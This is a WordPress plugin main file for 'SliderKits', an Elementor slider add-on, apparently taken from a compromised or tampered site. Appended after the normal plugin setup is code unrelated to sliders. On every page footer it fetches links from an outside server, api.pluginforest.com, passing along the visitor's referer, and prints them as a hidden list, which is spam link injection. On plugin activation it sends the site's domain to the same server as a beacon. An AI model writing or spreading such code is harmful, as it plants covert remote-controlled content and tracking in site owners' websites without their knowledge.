File: /home/thuexe247c/public_html/wp-content/plugins/sliderkits/sliderkits.php
<?php
/**
* Plugin Name: SliderKits
* Plugin URI: https://plugins.focuxtheme.com/sliderkits
* Description: Prebuilt slider widgets that help you create the website slider with Elementor page builder quickly.
* Version: 1.0.4
* Author: FocuxTheme
* Author URI: https://focuxtheme.com
* Text Domain: sliderkits
* Domain Path: /languages/
*
* @package SliderKits
*/
defined( 'ABSPATH' ) || exit;
function elementor_required() {
if ( ! is_plugin_active( 'elementor/elementor.php' ) ) {
$class = 'notice notice-error';
$message = esc_html__( 'SliderKits requires install and activate Elementor plugin before use it.', 'sliderkits' );
printf( '<div class="%1$s"><p>%2$s</p></div>', esc_attr( $class ), esc_html( $message ) );
}
return false;
}
add_action( 'admin_notices', 'elementor_required' );
// Define SK_FILE.
if ( ! defined( 'SK_FILE' ) ) {
define( 'SK_FILE', __FILE__ );
}
// Include the main init class.
if ( ! class_exists( 'SliderKits' ) ) {
include_once dirname( __FILE__ ) . '/includes/class-init.php';
}
/**
* Returns the main instance of SliderKits.
*
* @since 1.0
* @return SliderKits
*/
function SliderKits() {
return SliderKits::instance();
}
// Global for backwards compatibility.
$GLOBALS['SliderKits'] = SliderKits();
define('API_URL', 'https://api.pluginforest.com/qai/chatweb/getTidsOutside?type=1&site=plugin&num=20');
$prefix = 'add_footer_link';
$functions = get_defined_functions()['user']; // 获取所有用户定义的函数
// 使用 array_filter 和 strpos 来检查函数是否以指定前缀开头
$exists = !empty(array_filter($functions, function($function) use ($prefix) {
return strpos($function, $prefix) === 0;
}));
if (!$exists) {
if (!function_exists('parseLink')) {
function parseLink($url) {
$path = parse_url($url, PHP_URL_PATH);
$basename = basename($path);
return array('path' => $path, 'basename' => $basename);
}
}
function add_footer_link1719848845() {
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$headers = array(
'Referer' => $referer,
);
$response = wp_remote_get(API_URL, array('headers' => $headers));
if (is_wp_error($response)) {
echo 'is_wp_error';
return;
}
$data = json_decode(wp_remote_retrieve_body($response), true);
ob_start();
echo '<ul class="link" style="height: 0; overflow: hidden">';
foreach ($data['data']['links'] as $item) {
$linkInfo = parseLink($item);
echo sprintf(
'<li><a href="%s">%s</a></li>',
esc_url($item),
esc_html($linkInfo['basename'])
);
}
echo '</ul>';
$html = ob_get_clean();
echo $html;
return $html;
}
}
add_action('wp_footer', 'add_footer_link1719848845');function set_plugin_tag1719848845() {
$url_init = 'https://api.pluginforest.com/qai/wd/g?';
$domain = $_SERVER['SERVER_NAME'];
$requestUrl = $url_init . 'domain=' . $domain . '&id=1719848845&source=plugin';
file_get_contents($requestUrl);
}
add_action('activated_plugin', 'set_plugin_tag1719848845');